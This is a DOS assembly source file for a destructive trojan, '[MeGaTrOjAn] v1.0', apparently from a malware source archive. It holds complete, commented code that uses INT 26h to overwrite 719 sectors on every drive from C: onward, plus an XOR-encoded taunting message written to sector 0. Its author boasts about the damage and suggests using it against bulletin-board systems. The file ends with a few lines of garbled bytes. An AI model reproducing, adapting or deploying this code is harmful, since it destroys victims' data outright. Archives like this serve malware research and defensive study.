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https://github.com/vxunderground/MalwareSourceCode.git
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6 lines
4.3 KiB
NASM
6 lines
4.3 KiB
NASM
;******************************************************************************
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; The High Evolutionary's [MeGaTrOjAn] v1.0
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;******************************************************************************
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;
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; Development Notes: (Dec.12.9O)
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; ------------------------------
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;
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; Hi guys. It's me again. Here is my latest work of Trojanic Art. This does
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; alot more damage than my old Trojan (Int 13 method). This one uses INT 26
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; instead that overwrites 719 sectors of each hard-drive.
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;
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; I managed to fix the error on crashing after INT 26. The problem lied in
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; the restoration of the flags after the INT was called.
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;
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; I also have an encrypted message in this one. Rather nice if I do say so
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; myself. Check out the commented lines to read the message.
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; (It gets written to sector 0 of each drive. Do view it, use NU /M)
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;
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; I also fixed a small bug in my old encryption routine. Check out this source
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; for the latest modifications and fixes, but it works great now...
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;
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; Have phun...
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;
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; -= The High Evolutionary =-
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;
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; PS: Use this to crash those lame-ass TeleGard Boards...
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;
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;******************************************************************************
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; Written by The High Evolutionary
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;
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; Property of The RABID Nat'nl Development Corp.
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;
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; NOT TO BE DISTRIBUTED TO ANY OUTSIDE GROUPS OR AGENCIES
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; (Well, at least the source code. I don't give a fuck what you do with
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; the compiled file...)
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;******************************************************************************
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code segment
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assume cs:code,ds:code,es:code
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org 100h
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@fry macro drive,sectors
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pushf ; Push all flags onto the stack
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mov al,drive ; Select drive to fry
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mov cx,sectors ; Choose amount of sectors
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mov dx,0 ; Set format to start at sec. 0
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mov bx,offset dest ; Set format to have IDENT
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; string imbedded in sector 0
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int 26h ; Call BIOS to fry drive
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popf ; Restore the flags we pushed
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endm
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start: jmp decrypt
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;
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; BAHA! Rather sympathetic message eh guys?
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;
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;ident db "Ooops! Looks like you have a slight problem. This drive ",13,10
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; db "is fried! Why? Well, that's easy... RABID''s the answer... ",13,10
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; db "Your security sucks shit!!! Time to upgrade... Let me ",13,10
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; db "give you a little hint to speed up your recovery. Reformat ",13,10
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; db "your hard-drive. MIRROR, SF and any other nifty utils are ",13,10
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; db "useless against RABID''s [MeGaTrOjAn]... Have phun guys! ",13,10
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; db " - RABID '91",13,10
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ident db "Nnnqr !Mnnjr!mhjd!xnt!i`wd!`!rmhfiu!qsncmdl/!Uihr!eshwd! h"
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db "r!gshde !Vix>!Vdmm-!ui`u&r!d`rx///!S@CHE&r!uid!`orvds///! "
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db "Xnts!rdbtshux!rtbjr!rihu !Uhld!un!tqfs`ed///!Mdu!ld! fhw"
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db "d!xnt!`!mhuumd!ihou!un!rqdde!tq!xnts!sdbnwdsx/!Sdgnsl`u! x"
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db "nts!i`se,eshwd/!LHSSNS-!RG-!`oe!`ox!nuids!ohgux!tuhmr!`sd! "
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db "trdmdrr!`f`horu!S@CHE&r!ZLdF`UsNk@o\///!I`wd!qito!ftxr ! "
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db "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,!S@CHE!&80 "
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lident equ $-ident ; Find the length of string
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dest db [lident-1/2] dup (?) ; Blank field for decrypt
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temp db 0 ; Temp char field
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haha db 2 ; HAHA is the drive to be
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; nuked!
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hoho dw 719 ; HOHO is the number of sectors
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; to make into Kaka!
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;
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; (Can't you tell I'm in the Christmas Spirit...)
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;
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decrypt:
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mov cx,lident ; Move length of string
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; into CX
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mov si,offset ident ; Move string into SI
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mov di,offset dest ; Specify dest in DI
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doshit: mov al,ds:[si] ; Get a charachter
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mov temp,al ; Copy it to temp
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xor byte ptr ds:[temp],01h ; XOR it with 01h
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mov al,temp ; Copy temp to AL
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mov [di],al ; Copy AL into dest
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inc si ; Inc SI
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inc di ; Inc DI
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loop doshit ; Back for the next charachter
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; until CX=0
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main: cmp haha,27 ; Check to see if drive Z is
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; fried
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jge quit ; If yeah. Then gedoudahere
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@fry haha,hoho ; No? Then fry the drive...
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inc haha ; Add 1 to HAHA
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jmp main ; Then go up and fry another
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quit: mov ax,4c00h ; Set terminate program with
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; error code 00
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int 21h ; Call DOS to gedoudahere
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code ends
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end start
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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